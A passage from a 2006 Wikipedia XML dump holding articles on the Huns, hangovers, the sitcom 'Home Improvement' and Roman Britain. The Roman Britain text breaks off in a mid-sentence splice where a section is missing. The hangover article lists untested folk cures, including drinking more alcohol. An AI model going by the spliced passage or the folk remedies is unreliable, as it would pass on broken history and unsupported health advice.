The establishment of the [[5th century]] Hun Empire marks one of the first well-documented appearances of the culture of [[horseback migration]] in history. Under the leadership of [[Attila the Hun]], these tribal people achieved military and diplomatic superiority over their rivals (most of them highly cultured) through weapons like the [[Hun bow]] and a system of pay-offs, financed by the plundering of wealthy Roman cities to the south, to retain the loyalties of a diverse number of tribes.

Attila's Huns incorporated groups of unrelated [[tribute|tributary]] peoples. In the European case [[Alans]], [[Gepid]]s, [[Sciri]], [[Rugians]], [[Sarmatians]], [[Slavic peoples|Slavs]] and [[Goths|Gothic tribes]] all united under the Hun family military elite. Some of Attila's Huns eventually settled in Pannonia after his death, but the Hun Empire would not survive Attila's passing. After his sons were defeated by [[Ardaric]]'s coalition [[Battle of Nedao|at the unidenified river Nedao]] in 454, the Hunnish empire ceased to exist.

The memory of the Hunnish invasion was [[oral tradition|transmitted orally]] among the [[Germanic peoples]] and is an important component in the [[Old Norse]] ''[[Völsunga saga]]'' and ''[[Hervarar saga]]'', and the [[Old German]] ''[[Nibelungenlied]]'', all portraying events in the [[Migrations period]], almost one millennium before their recordings. In the ''[[Hervarar saga]]'', the Goths make first contact with the bow-wielding Huns and meet them in an epic battle on the plains of the [[Danube]]. In the ''[[Völsunga saga]]'' and the ''[[Nibelungenlied]]'', King Attila (''[[Atli]]'' in Norse and ''[[Etzel]]'' in German) defeats the [[Franks|Frankish]] king [[Sigebert I]] (''[[Sigurðr]]'' or ''[[Siegfried]]'') and the [[Burgundian]] King [[Guntram|Guntram I]] (''[[Gunnar]]'' or ''[[Gunther]]''), but is subsequently assassinated by Queen [[Fredegund]] (''[[Gudrun]]'' or ''[[Kriemhild]]''), the sister of the latter and wife of the former.

==Successor nations?==

Many nations have tried to assert themselves as ethnic or cultural successors to the Huns. The [[Bulgaria]]n khans, for instance, believed to have been descended from [[Attila]]. Indeed, the language of [[Volga Bulghars]], currently known as the [[Chuvash language]], is the most divergent of all the [[Turkic languages]], which testifies to its separate existence for centuries before the dissolution of the proto-Turkic unity happened.

The [[Magyars]] also have laid claims to the Hunnish heritage. Considering that the Huns that invaded Europe represented a loose coalition of various peoples, it is not entirely out of question that the Magyars were present among those ethnic groups as well.

In [[2005]], a group of about 2,500 Hungarians petitioned the government to be a recognized minority of direct descendants of Attila. It was a failed bid but gained a publicity for the group, which had been formed in the early 1990s and and appears to represent a special Hun(garian)-centric brand of mysticism. The self-proclaimed Huns are not known to possess more special knowledge about Hun culture or language than would be available from historical and modern-mystical Hungarian sources. [http://news.bbc.co.uk/2/hi/europe/4435181.stm]

==Historiography==
The term &quot;Hun&quot; has been also used to describe peoples with no historical connection to what scholars consider &quot;Hun&quot;. 

On [[July 27]], [[1901]], during the [[Boxer Rebellion]] in China, [[Kaiser]] [[Wilhelm II of Germany|Wilhelm II]] gave the order to &quot;make the name 'German' remembered in China for a thousand years, so that no [[Chinaman]] will ever again dare to even squint at a German&quot;. This speech, wherein Wilhelm invoked the memory of the [[5th century|5th-century]] Huns, coupled with the [[Pickelhaube]] or spiked [[helmet]] worn by German forces until [[1916]], that was reminiscent of ancient Hun (and Hungarian) helmets, gave rise to the later derogatory English usage of the latter term for their German enemy during [[World War I]]. This usage was reinforced by [[Allies of World War I|Allied]] propaganda throughout the war, prompting hatred of the Germans by invoking the idea that they were brutal savages.

[[Irish Republicanism|Irish Republicans]] have been known to refer to [[United Kingdom|British]] security forces as &quot;Huns&quot;, notably in songs such as &quot;London's Derry&quot; which begins ''Come on out ye British Huns come on out without your guns.'' This spreads too, to association football (soccer) where fans of Celtic F.C. often refer to fans of Glasgow Rangers F.C as &quot;the huns&quot; because of their British associations. There is another possible origin of the &quot;Hun&quot; nickname for Rangers, that after a riot after a friendly match in England the name was given to Rangers fans by an English Newspaper after the destruction carried out was reminiscent of the Somme. [http://irelandsown.net/londonsderry.html]

==See also==
*[[Hunnic language]]
*[[List of Hunnish rulers]]

==Further reading==
* J. Otto Mänchen-Helfen (ed. Max Knight): ''The World of the Huns: Studies in Their History and Culture'' (Berkeley, University of California Press, 1973)
* J. Otto Mänchen-Helfen: ''Huns and Hsiung-Nu'' (published in ''Byzantion'', vol. XVII, 1944-45, pp. 222-243)
* J. Otto Mänchen-Helfen: ''The Legend of the Origin of the Huns'' (published in ''Byzantion'', vol. XVII, 1944-45, pp. 244-251)
* E. A. Thompson: ''A History of Attila and the Huns'' (London, Oxford University Press, 1948)


[[Category:Ancient peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Eurasian nomads]]
[[Category:History of Hungary]]
[[Category:Huns]]
[[Category:Migration Period]]
[[Category:Turkic peoples]]

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[[fr:Huns]]
[[gl:Hunos]]
[[he:הונים]]
[[it:Unni]]
[[ja:フン族]]
[[ko:훈족]]
[[nl:Hunnen]]
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[[pl:Hunowie]]
[[pt:Huno]]
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[[uk:Гуни]]</text>
    </revision>
  </page>
  <page>
    <title>Hangover</title>
    <id>13522</id>
    <revision>
      <id>41205742</id>
      <timestamp>2006-02-25T19:54:51Z</timestamp>
      <contributor>
        <ip>129.21.131.93</ip>
      </contributor>
      <comment>/* Cures */  m</comment>
      <text xml:space="preserve">A '''hangover''' or '''veisalgia''' is the unpleasant physical effects following heavy consumption of [[alcoholic beverage|alcohol]] or the use of drugs.   The most common reported characteristics of a hangover are feelings of extreme thirst ([[dehydration]]), feelings of being more tired than usual, [[nausea]] and [[headache]]s.

== Symptoms ==
An [[ethanol|alcohol]] hangover is associated with a variety of [[symptoms]] that may include dehydration, tiredness, headache, nausea, weakness, difficulty concentrating, anxiety, irritability, sensitivity to light and noise and trouble sleeping.

== Causes ==
Hangovers are multi-causal. [[Ethanol]] has a [[dehydration|dehydrating]] effect (such substances are known as [[diuretic]]s), which causes headaches, dry mouth, and [[lethargy]]. Dehydration causes the brain to shrink away from the skull slightly. This triggers pain sensors on the outside surface of your brain which causes the headache. This can be mitigated by drinking plenty of [[water]] during and after consumption of alcohol. Alcohol is also a metabolic poison, and its impact on the stomach lining probably accounts for nausea.

Another factor contributing to a hangover is the conversion of alcohol to [[acetaldehyde]] by the [[liver]] by the [[enzyme]] [[alcohol dehydrogenase]]. This metabolite is probably more toxic than alcohol.

Finally there are various nervous effects. The removal of the depressive effects of alcohol in the brain probably account for the light and noise sensitivity.
It is also thought that the presence of other alcohols (such as [[methanol]] and [[fusel oil]]s), by-products of the [[fermentation|alcoholic fermentation]] also called [[congener]]s, exaggerates many of the symptoms; this probably accounts for the mitigation of the effects when distilled alcohol, particularly vodka, is consumed.

The amount of [[congeners]] in the drink may also have an effect. Red wines have more congeners than white wines, and some people note less of a hangover with white wine.

Some people believe that [[sugar]] (often found in sweet [[cocktail]]s) worsens hangovers.

[[Nicotine]] poisoning can often worsen hangovers, as smokers tend to smoke much more than usual while under the influence of alcohol. 

Genetics also plays a part, as some people seldom, if ever, suffer hangover symptoms no matter how much they drink.

The [[psychosomatic]] nature of hangovers shouldn't be ignored either.  If people expect a hangover, they tend to feel one.

== Cures ==
Common folk medicine has a wide variety of hangover cures. Indeed there appear to be nearly as many ways of curing hangovers as there are of getting drunk in the first place. Essentially all of these hangover cures have one major thing in common, which is that they are nowhere near as effective at curing a hangover as alcoholic drinks are at getting you drunk. A good hangover cure should replace essential nutrients lost by the body while counteracting the influence of residual poisons; very few cures do both at once.

A popular rhyme goes &quot;Liquor before beer, you're in the clear. Beer before liquor, never been sicker.&quot;

Among the more common proposed cures are:
* drinking a sports drink (not an energy drink) such as [[Powerade]] or [[Gatorade]], usually watered-down a bit to rehydrate and replenish lost nutrients in the body
* drinking a large amount of water ''before'' going to bed, and during the night, for rehydration (a little water is much better than none)
* eating mineral-rich foods, like [[pickle]]s or canned fish
* drinking pickle juice, the solution in which cucumbers were pickled, in the morning (a staple hangover remedy in Poland)
* eating anything substantial, especially before going to bed, to &quot;soak up&quot; the alcohol in the stomach (pizza, sandwich)
* drinking some (not too strong) coffee (although caffeine itself may induce dehydration)
* orange juice, which is rich in [[vitamin C]]
* cabbage leaves or tomato juice
* [[Irn Bru]], is commonly regarded as a remedy in Scotland and the UK.
* [[cysteine]], which is available as the over-the-counter supplement [[N-acetylcysteine]] (NAC), is known to assist in processing acetaldehyde, best taken while already drinking and/or before going to bed. (Egg yolk is also rich in cysteine, and it is notable that many hangover folk remedies or morning-after breakfasts incorporate eggs.)
* The later stages of the consumption of alcohol cause more of a negative effect than the first; by consuming more alcohol the body begins processing the newer alcohol bringing a temporary relief from the effects of a hangover (see [[hair of the dog]])
* taking a vitamin B1 ([[thiamin]]) supplement before going to bed
* The [[Ulster fry|Ulster Fry]] (popular in Northern Ireland), an [[Irish Breakfast]] or a [[Breakfast Roll]], a meal that is an all day breakfast.
* [[Coca Cola]], otherwise known as &quot;Black Aspirin&quot; (popular in Australia), also &quot;The Red Ambulance&quot; (Ireland); the caffeine, bubbles and sugar can be easier to hold down than pure water.
* Taking a shower and oscillating between extreme cold and hot temperatures
* day/night cold and flu tablets

In [[2003]], the fad hangover cure was a Russian pill, sold in Russia as [[Antipokhmelin]] (Anti-Hangover), and marketed as [[RU-21]] in the USA.  It is also known as the KGB pill due to its supposed use by the [[KGB]] to allow spies to keep a clear head while drinking.

More recently, a 2004 clinical study suggested that taking [[prickly pear]] (''Opuntia ficus indica'') fruit extract several hours before drinking can significantly reduce certain hangover symptoms, including nausea. The authors theorize that the extract may work by suppressing the body's natural immune reaction to congeners.

Makers of competing hangover remedies containing [[activated carbon]] ([[charcoal]]), such as ''[[Chaser (tablet)|Chaser]]'' or ''Hangover-stopper'', claim that it prevents absorption of congeners in the first place (which scientists speculate is possible, though so far untested). [http://www.sfgate.com/cgi-bin/article.cgi?f=/chronicle/archive/2004/12/12/MNGVDA9K181.DTL&amp;type=health]. Extracts from the kudzu vine are currently being touted as cures.

In a review of the medical literature on hangover cures by researchers led by Max Pittler of the Peninsular Medical School at [[Exeter University]], they reported in the [[24 December]] [[2005]] issue of the ''[[British Medical Journal]]'' the following conclusion: &quot;No compelling evidence exists to suggest that any conventional or complementary intervention is effective for preventing or treating alcohol hangover. The most effective way to avoid the symptoms of alcohol induced hangover is to practice abstinence or moderation.&quot; [http://bmj.bmjjournals.com/cgi/content/full/331/7531/1515?ehom]

A well known joke on the subject of hangover cures goes as follows: ''Q: What is the best thing for a hangover? A: Heavy drinking the night before!''

== See also ==
* [[Blood alcohol concentration]]
* [[Chaser (tablet)]] an anti-hangover pill
* [[Withdrawal]]
* [[White Castle Hangover]]

== External links ==
* [http://pubs.niaaa.nih.gov/publications/arh22-1/54-60.pdf &quot;Alcohol Hangover:  Mechanisms and Mediators&quot;] [PDF] by Robert Swift, M.D., Ph.D. and Dena Davidson, Ph.D., [[NIAAA]] ''Alcohol Health and Research World'', January 14, 2002, retrieved November 22, 2004.
* [http://www.timesonline.co.uk/article/0,,8124-1398774,00.html &quot;The party's over: Advice on treating hangovers&quot;] by Dr. Thomas Stuttaford, ''[[The Times]]'', December 13, 2004 retrieved August 24, 2005.  A colorful layman's article on hangovers, their cause and treatment along with reference to famous [[Soho]] drinkers, such as [[Jeffrey Bernard]], [[Dylan Thomas]] and [[Francis Bacon (painter)|Francis Bacon]].
* [http://www.hangoverreview.com Hangover Review] Useful tips, articles and reviews on hangovers and hangover cures / products.
* [http://www2.potsdam.edu/hansondj/InTheNews/Etc/1106621330.html &quot;Hangover Remedies Flood Market&quot;] by David J. Hanson, Ph.D., ''Potsdam'', 2005, retrieved September 9, 2005.
* [http://www2.potsdam.edu/hansondj/HealthIssues/1127332920.html &quot;Kudzu and Alcohol Consumption&quot;] by David J. Hanson, Ph.D., ''Potsdam'', 2005, retrieved December 16, 2005.
* [http://news.bbc.co.uk/1/hi/magazine/4563760.stm &quot;The ultimate hangover cure?&quot;] by Becky McCall, ''[[BBC News]] Magazine'', December 28, 2005, retrieved December 28, 2005.

[[Category:Alcohol_abuse]]
[[Category:Drinking culture]]

[[cs:Kocovina]]
[[da:Tømmermænd]]
[[de:Kater (Alkohol)]]
[[he:חמרמורת]]
[[hu:Másnaposság]]
[[nl:Kater (alcohol)]]
[[pl:Kac]]
[[ru:Алкогольный абстинентный синдром]]
[[fi:Krapula]]
[[sv:Bakfylla]]</text>
    </revision>
  </page>
  <page>
    <title>Home Improvement</title>
    <id>13523</id>
    <revision>
      <id>41857533</id>
      <timestamp>2006-03-02T04:36:02Z</timestamp>
      <contributor>
        <ip>65.7.58.44</ip>
      </contributor>
      <comment>/* ''Home Improvement'' on DVD */</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}
{{Infobox_television
 | show_name = Home Improvement
 | image = [[Image:Home improvement 250.jpg]]
 | caption = The Taylor family
 | format = [[Sitcom]]
 | runtime = 22 Minutes
 | creator = [[Matt Williams (producer)|Matt Williams]]&lt;br&gt;[[Carmen Finestra]]&lt;br&gt;[[David MacFadzean]]
 | starring = [[Tim Allen]]&lt;br&gt;[[Patricia Richardson]]&lt;br&gt;[[Earl Hindman]]&lt;br&gt;[[Richard Karn]]&lt;br&gt;[[Debbe Dunning]]&lt;br&gt;[[Zachery Ty Bryan]]&lt;br&gt;[[Taran Noah Smith]]&lt;br&gt;[[Jonathan Taylor Thomas]]
 | country = [[United States|USA]]
 | rating= {{TV-G}}
 | network = [[American Broadcasting Company|ABC]]
 | first_aired = [[September 1]], [[1991]]
 | last_aired = [[May 25]], [[1999]]
 | num_episodes = 204
|}}
'''''Home Improvement''''' was an [[American television]] [[sitcom]] starring actor/comedian [[Tim Allen]], and loosely based on his [[stand-up comedy]] routine that ran on the [[American Broadcasting Company|ABC]] for eight seasons from [[September]] [[1991]] to [[May]] [[1999]]. It is currently in national syndication on cable television stations such as [[TBS (TV network)|TBS]] in the US, and can be seen on digital channels [[ABC1]] and the [[Disney Channel]] in the UK.

== Premise ==
Set in the [[suburbs]] of [[Detroit, Michigan]] (with many references to the [[Royal Oak, Michigan|Royal Oak]] region), the series centers around the antics of the Taylor family, which, along with Tim, included his pedantic wife Jill ([[Patricia Richardson]]), and their three mischievous sons, the popular and athletic Brad ([[Zachery Ty Bryan]]), comedian and intellectual Randy ([[Jonathan Taylor Thomas]]), and the youngest Mark ([[Taran Noah Smith]]).  

Additional focus was given to Tim's job as a television personality on his very own 'home improvement' show, called ''[[Tool Time]]''.  On this [[show-within-a-show]], Tim was joined by his friend and mild-mannered assistant Al Borland (played by [[Richard Karn]]).

==History== 

In the first few seasons, sons Brad and Randy would torment their youngest brother Mark (and each other) in ways that consistently presented a challenge to Tim and Jill.  

Mark was initially presented as slightly naive and in constant admiration of his father.  As the series progressed, however, Mark grew up to be somewhat of a teenage outcast who dressed in dark goth clothing.  By this time, Randy was written out of the script by mentioning that he was in [[Costa Rica]] (done so to accommodate the then-budding film career of [[Jonathan Taylor Thomas]], who became a teen icon during his years on the show).

Some time was spent dealing with the sometimes tense relationship between coworkers Tim and Al.  Al was portrayed as a slightly geeky character, prefering to wear mostly [[flannel]] shirts, and whose catchphrase was &quot;I don't think so, Tim.&quot; He also came up with many [[puns]] and giggles and snorts when a joke is made at Tim's expense. Taylor was always arrogant and prone to accidents and his &quot;archenemy&quot;, so to speak, is the real-life [[home improvement]] specialist [[Bob Vila]]. His projects on ''Tool Time'' usually go awry &amp;mdash; such as using an oversized and overpowered [[Binford]] gadget. The cautious, insecure, and brighter Borland always bore the brunt of Tim Taylor's jokes and constant put-downs. A [[running gag|running joke]] was Tim's references to Al's overweight mother, who is usually referred to but is never seen throughout the series &amp;mdash; although in one episode, she dies and the characters are at her funeral. Al has a &quot;twin&quot; brother named Cal who is a [[physicist]], and unlike other siblings across the world, they have never gotten into a physical fight; instead, they settle their disputes over a cup of [[tea]]. 

Throughout the series, Jill studied to become a [[psychologist]].  In one episode, Tim also received a [[Doctor of Philosophy|Ph.D.]] from his alma mater.  

== Running Gags ==
The show featured a few unique [[gimmicks]]. During scene changes clever &quot;wipes&quot; were used to comically remove the current image from the screen. For example, the current scene could shatter like glass, fall over like a piece of wood, or deflate like a balloon. These &quot;wipes&quot; usually included something shown or mentioned in the scene before. 

Another gag included Tim banging his head on a large metal pipe every time he was walking down the basement steps.

Perhaps the show's most well-known gimmick was the character of Wilson ([[Earl Hindman]]), the Taylor family's sage, advice-giving neighbor with many historical, philosophical, and literary works to quote. Tim often confusingly misquotes and re-words Wilson's advice when speaking to Jill or his sons. Since Wilson was partly inspired by a neighbor that Tim had when he was very little, half of Wilson's face was never seen on the show, and was instead constantly &amp;mdash; and sometimes humorously &amp;mdash; blocked by various props, such as fences, masks, trees, and unusual costumes. Following the series finale episode his face was fully exposed while taking his final bow. When it came into question whether &quot;Wilson&quot; was the character's first name or last, he explained that his full name was actually Wilson Wilson, Jr.; his father's name having been Wilson Wilson, Sr. During the show, Wilson is usually working on an unusual project of some sort in his backyard. His usual catchphrase is &quot;Well! Hidy-ho neighbor&quot; when greeting Tim and &quot;Hidy-ho neighborette&quot; when greeting Jill. Such devices further fueled the show's reputation for involving extremely clever humor.

== The &quot;Tool Time Girls&quot; ==
The sitcom launched the career of former [[Playboy]] model [[Pamela Anderson]], who would later star in the internationally syndicated television show ''[[Baywatch]]''. Anderson played the announcer and &quot;toolgirl&quot; Lisa in the character Tim Taylor's ''Tool Time'' show. As Anderson gained stardom, she was replaced by another actress. On ''Tool Time'', Lisa was replaced by Heidi ([[Debbe Dunning]]), who stayed on the show for the remainder of the series. Anderson made a guest appearance as Lisa in a later episode, wherein Heidi becomes jealous when Lisa gets more attention and begins to fear for her job.

==Ending==
{{spoiler}}

The series ended in a three-part episode involving Tim being displeased at how ''Tool Time'' had been changed into something resembling ''[[The Jerry Springer Show]]'', and Jill getting a new job. The problem was that the job was in [[Indiana]], and Tim didn't want to move at first.

Of course, after talking to his neighbor, he agreed to leave Detroit. Tim ended his ''Tool Time'' appearances with a final show that garnered huge ratings. However, Jill realized that they would be moving out of the house the family grew up in.  The conclusion was somewhat ambiguous, although Jill seemed adamant about them not moving.  The last shot was Tim imagining (a thought balloon was used for emphasis) putting the whole house on a flatbed truck and then a superfast tugboat, leaving the viewer to decide for himself if they moved or stayed in Detroit.

== Selected list of recurring characters ==
*Karen ([[Betsy Randle]])
*Lisa ([[Pamela Anderson]]) (was never part of credited cast)
*Ilene Markham, DDS ([[Sherry Hursey]])
*Marie Morton ([[Mariangela Pino]])
*Joe Morton ([[Robert Picardo]])
*Jennifer Sudarsky ([[Jessica Wesson]])
*Ashley ([[Leigh Ann Orsi]])
*Lauren ([[Courtney Peldon]])
*Lillian Patterson ([[Polly Holliday]])
*Harry ([[Blake Clark]])
*Delores ([[Shirley Prestia]])
*Marty ([[William O'Leary]])
*John Binford ([[Noble Willingham]])
*Trudy ([[Megan Cavanagh]])
*Felix Myman ([[Al Fann]])
*Rock ([[Casey Sander]])
*Dwayne ([[Gary McGurk]])
*Pete ([[Mickey Jones]])

==Cast notes==

[[Zachery Ty Bryan]] and [[Jonathan Taylor Thomas]] have both made appearances on the TV show ''[[Veronica Mars]]''.

[[Frances Fisher]] who played Rose's mom on the hit movie [[Titanic]], was supposed to play the part of Jill. However, due to lack of chemistry between Allen and Fisher, [[Patricia Richardson]] was brought in to play the part because she and Allen had great chemistry.

[[Megan Cavanagh]], who plays Al Borland's fiancee (and later his [[wife]]) in the eighth season, also starred with Tim Allen in ''[[For Richer or Poorer]]''. She played Levinia Yoder.

[[Jonathan Taylor Thomas]] was written out of the series in the final season to pursue an education. However, it is common belief that he and Allen had a bad off-screen relationship due to the fact that Thomas went on to make movies instead of finishing ''Home Improvement''.

[[Betsy Randle]], who played Jill's friend Karen during the first two seasons, was also originally considered to play Jill, but obviously didn't get the part. Her absence from the series after [[1993]] was due to the fact that she went on to portray Amy Matthews, Corey's mom on the sitcom ''[[Boy Meets World]]''.

==Continuity errors==

Initially, Tim was said to be the oldest brother, with younger brothers Steve and Danny. In later episodes, it is established that Tim is actually the middle brother, with older brother Jeff and younger brother Marty.

== ''Home Improvement'' on DVD ==

Beginning on [[November 2004]] and continuing to this day, ''Home Improvement'' is being released on [[DVD]], one season at a time. Currently, the first 3 seasons have been released (each one approximately five or six months before the next). According to [http://www.ultimatedisney.com Ultimate Disney], Season 4 is to be released [[June 13]], [[2006]] in time for [[Father's Day]].  The site also mentions that it could be released a bit sooner. It is expected that the fifth season will be released in late 2006 (possibly for the holiday season), and the entire series should be released by the middle of [[2008]].

== External links ==
*[http://tvplex.go.com/touchstone/homeimprovement/ Official Homepage of ''Home Improvement'']
*[http://www.hiarchive.co.uk/index.html The Home Improvement Archive]
*[http://www.toolmedia.de Home Improvement Pictures and Sounds]
*{{imdb title|id=0101120|title=Home Improvement}}

[[Category:1990s TV shows in the United States]]
[[Category:ABC network shows]]
[[Category:Sitcoms]]
[[Category:Nielsen Ratings winners]]

[[de:Hör mal wer da hämmert]]</text>
    </revision>
  </page>
  <page>
    <title>Roman Britain</title>
    <id>13525</id>
    <revision>
      <id>42106320</id>
      <timestamp>2006-03-03T21:41:53Z</timestamp>
      <contributor>
        <ip>82.46.4.244</ip>
      </contributor>
      <comment>/* Early Roman contacts */</comment>
      <text xml:space="preserve">:''This article is about the Roman province called Britannia. For other uses, see [[Britannia (disambiguation)]].''
{{UKHBS}}
[[Image:Romanbritain.jpg|250px|thumb|Principal sites in Roman Britain]]
'''Roman Britain''' refers to those parts of the island of [[Great Britain]] controlled by the [[Roman Empire]] between [[43]] and [[410]]. The Romans referred to their province as '''Britannia'''. Prior to their [[Roman invasion of Britain|invasion]], [[British Iron Age|Iron Age Britain]] already had cultural and economic links with [[Continental Europe]], but the invaders introduced new developments in [[agriculture]], [[urbanisation]], [[industry]] and [[architecture]], leaving a legacy that is still apparent today.

Historical records beyond the initial invasion are sparse, although many Roman historians mention the [[Roman province|province]] in passing. Much of our knowledge of the period stems from [[archaeology|archaeological]] investigations and especially [[epigraphy|epigraphic]] evidence.

==Early Roman contacts==
The Romans knew the British Isles as the &quot;Tin Islands&quot;, from [[Punic]] traders and merchants who engaged in commerce with the Celtic tribes of this land from their bases in [[Carthaginian Hispania]]. The Roman general and future dictator [[Gaius Julius Caesar]], endowed with a [[proconsul|proconsular]] [[imperium]] for all of Gaul in the first century BCE, briefly invaded Britain as an offshoot of his campaigns in Belgium and Gaul. He subjected many of the native tribes to tribute payments and hostage exchanges, most of which were ignored after his departure due to [[Vercingetorix]]'s rebellion. The British tribes remained independent of Rome until [[Claudius]]' permanent conquest and occupation a century later.

==The Roman invasion==
{{main|Roman invasion of Britain}}
Roman soldiers landed at [[Richborough]] and defeated the southeastern [[British tribes]] under [[Caratacus]], and captured his capital [[Camulodunum]] or [[Colchester, England|Colchester]]. Caratacus refused to submit, and retreated deeper into unconquered [[Brythonic]] territory, coming to the domain of the [[Ordovices]] in [[47]]. He incited this tribe to fight the Romans, and they lost the ensuing battle. Once again Caratacus fled, this time to [[Cartimandua]], queen of the [[Brigantes]]. Cartimandua surrendered Caratacus to the Romans, who brought him in chains to Rome. Meanwhile the invasion continued westwards under [[Vespasian]] and north to ''[[Caledonians|Caledonia]]'' ([[Scotland]]) under [[Gnaeus Julius Agricola|Agricola]].

==Roman rule is established==

For the first twenty years, the Roman rule was oppressive, and this treatment led [[Boudicca]], Queen of the [[Iceni]], to revolt. The [[Trinovantes]] and [[Catuvellauni]] joined, and the alliance assaulted the Roman colony at Camulodunum, looting and burning the town as well as slaying every man, woman and child they found. The governor [[Suetonius Paullinus]], upon reaching [[London]] from his campaigning in the western part of the province, found the town indefensible with the few troops he had. As a result, Paullinus was forced to abandon the city and took only those who could afford to leave in time to retreat with him, leaving some behind. The [[Legio XIV Gemina|Legio XIV]] ''Geminabengala
of this, a number of future emperors served as governors or legates in this province, including [[Vespasian]], [[Pertinax]], and [[Gordian I]].

In the following years the Romans conquered more of the island, increasing the size of Roman Britain. The governor [[Gnaeus Julius Agricola|Agricola]], father-in-law to the historian [[Gaius Cornelius Tacitus|Tacitus]], conquered the [[Ordovices]] in [[78]]. With [[Legio XX Valeria Victrix|XX ''Valeria Victrix'']], Agricola defeated the [[Caledonians]] in [[84]] at the [[Battle of Mons Graupius]], in what is today northern [[Scotland]]. This marked the high tide mark of Roman territory in Britain; shortly after his victory, Agricola was recalled from Britain back to Rome, and the Romans retired to a more defensible line along the [[Firth of Forth|Forth]]-[[Firth of Clyde|Clyde]] isthmus, freeing soldiers badly needed along other frontiers.

==Occupation and retreat from southern Scotland==
There is no historical source describing the decades that followed Agricola's recall.  Even the name of his replacement is unknown. [[Archaeology]] has shown that some [[Roman forts]] south of the [[Firth of Forth|Forth]]-[[Firth of Clyde|Clyde]] [[isthmus]] were rebuilt and enlarged, although others appear to have been abandoned. Roman coins and pottery are found circulating at [[native]] settlement sites in what are now the [[Scottish lowlands]] in the years before [[100]], indicating growing [[Romanisation]].

Around [[105]], however, a serious setback appears to have happened at the hands of the tribes of Scotland; several Roman forts were destroyed by fire at this time with human remains and damaged [[armour]] at ''[[Trimontium]]'' ([[Newstead]], [[Scottish Borders]]) indicating hostilities at least at that site. There is also circumstantial evidence that auxiliary reinforcements were sent from [[Germany]] and an unnamed British war from the period is mentioned on the gravestone of a [[tribune]] on [[Cyrene]]. However, [[Trajan]]'s [[Dacian Wars]] may have led to troop reductions in the area or even total withdrawal followed by slighting of the forts by the natives rather than an unrecorded military defeat. The Romans were also in the habit of destroying their own forts during an orderly withdrawal, in order to deny resources to an enemy. In either case, the frontier probably moved south to the line of the [[Stanegate]] at the [[Solway Firth|Solway]]-[[River Tyne|Tyne]] isthmus around this time.

A new crisis occurred at the beginning of [[Hadrian]]'s reign (117), a rising in the north which was suppressed by [[Quintus Pompeius Falco]]. When [[Hadrian]] reached Britannia on his famous tour of the Roman provinces around [[120]], he directed an extensive defensive wall, known to posterity as [[Hadrian's Wall]], to be built close to the line of the Stanegate frontier. Hadrian appointed [[Aulus Platorius Nepos]] as governor to undertake this work who brought [[Legio VI Victrix|VI ''Victrix'']] with him from [[Lower Germany]]. Legio VI replaced the famous [[Legio IX Hispana|IX ''Hispana'']], whose disappearance has been much discussed. Archaeology indicates considerable instability in Scotland during the first half of the second century, and the shifting frontier at this time should be seen in this context.

In the reign of [[Antoninus Pius]] the Hadrianic border was briefly extended north to the Forth-Clyde isthmus, where the [[Antonine Wall]] was built around [[142]] following the military re-occupation of the Scottish lowlands by a new governor, [[Quintus Lollius Urbicus]]. This northward extension of the empire was probably the result of attacks, maybe by the [[Selgovae]] of south-west Scotland, on the Roman [[buffer state]] of the [[Votadini]] who lived north of the Hadrianic frontier.

The first Antonine occupation of Scotland ended as a result of a further crisis in [[155]]-[[157]], when the [[Brigantes]] revolted. With limited options to despatch re-inforcements, the Romans moved their troops south and this rising was suppressed by the governor [[Cnaeus Julius Verus]]. Within a year the Antonine Wall was re-occupied, but by [[163]] or [[164]] it was abandoned. The second occupation was probably connected with Antonius' undertakings to protect the Votadini or his pride in enlarging the empire as the retreat to the Hadrianic frontier occurred not long after his death when a more objective strategic assessment of the benefits of the Antonine Wall could be made. The Romans did not entirely withdraw from Scotland at this time however, as the large fort at Newstead was maintained along with seven smaller outposts until at least c. [[180]].

During the twenty year period following the reversion of the frontier to Hadrian's Wall, Rome was concerned with continental issues primarily problems in the [[Danube]] provinces. Increasing numbers of [[hoard]]s of buried coins in Britain at this time indicate that peace was not entirely achieved. Sufficient Roman silver appears in Scotland to suggest more than ordinary trade and it is likely that the Romans were boosting [[treaty]] agreements with cash payments, a situation with comparators elsewhere in the empire at the time. 

In [[175]] a large force of [[Sarmatian]] cavalry, consisting of 5,500 men arrived in Britannia, probably to re-inforce troops fighting unrecorded uprisings. Certainly, in 180 Hadrian's Wall was breached and barbarians had killed the commanding officer or governor there in what [[Dio Cassius]] described as the most serious war of the reign of [[Commodus]]. [[Ulpius Marcellus]] was sent as replacement governor and by [[184]] he had won a new peace only to be faced with a mutiny from his own troops. Unhappy with Marcellus' strictness, they tried to elect a legate named [[Caerellius Priscus|Priscus]] as usurper emperor, he refused but Marcellus himself was lucky to leave the province alive. The Roman army in Britannia continued its insubordination, they sent a delegation of 1,500 to [[Rome]] to demand the execution of [[Tigidius Perrenis]], a [[Praetorian Prefect]] whom they felt had earlier wronged them by posting lowly [[equites]] to legate ranks in Britannia. Commodus met the party outside Rome and agreed to have Perrenis killed, but this only made them feel more secure in their mutiny.

The future emperor, [[Pertinax]] was sent to Britannia to restore order and was initially successful in regaining control. A riot broke out amongst the troops however, in which Pertinax was attacked and left for dead, and he asked to be recalled to Rome, briefly succeeding Commodus in [[192]].

==Trade and industry==
By the time of the Roman occupation, Britain's [[tin]] exports to the Mediterranean had been largely eclipsed by the more convenient supply from [[Hispania|Iberia]]. [[Gold]], [[iron]],  [[lead]], [[silver]], [[jet (lignite)|jet]], [[marble]] and [[pearl]]s however were all exploited by the Romans in Britain along with more everyday commodities such as hunting dogs, animal skins, timber, wool, corn and slaves. Foreign investment created a vigorous domestic market and imports were often of exotic Continental items such as fine pottery, olive oil, lavastone [[quern]]s, glassware, [[garum]] and fruit.

Mineral extraction sites such as the [[Dolaucothi Gold Mines|Dolaucothi]] gold mine, the [[Weald]]en ironworking zone and the lead and silver mines of the [[Mendip Hills]] seem to have been private enterprises leased from the government for a fee. Although mining had long been practised in Britain, the Romans introduced new technical knowledge and large-scale industrial production to revolutionise the industry. Many prospecting areas were in dangerous, upland country, and, although mineral exploitation was presumably one of the main reasons for the Roman invasion, it had to wait until these areas were subdued.

Although Roman designs were most popular, rural craftsmen still produced items derived from the [[Iron Age]] [[La Tène culture|La Tène]] artistic traditions. Local pottery rarely attained the standards of the [[Gaul]]ish industries although the [[Castor ware]] of the [[Nene Valley]] was able to withstand comparison with the imports. Most native pottery was unsophisticated however and intended only for local markets.

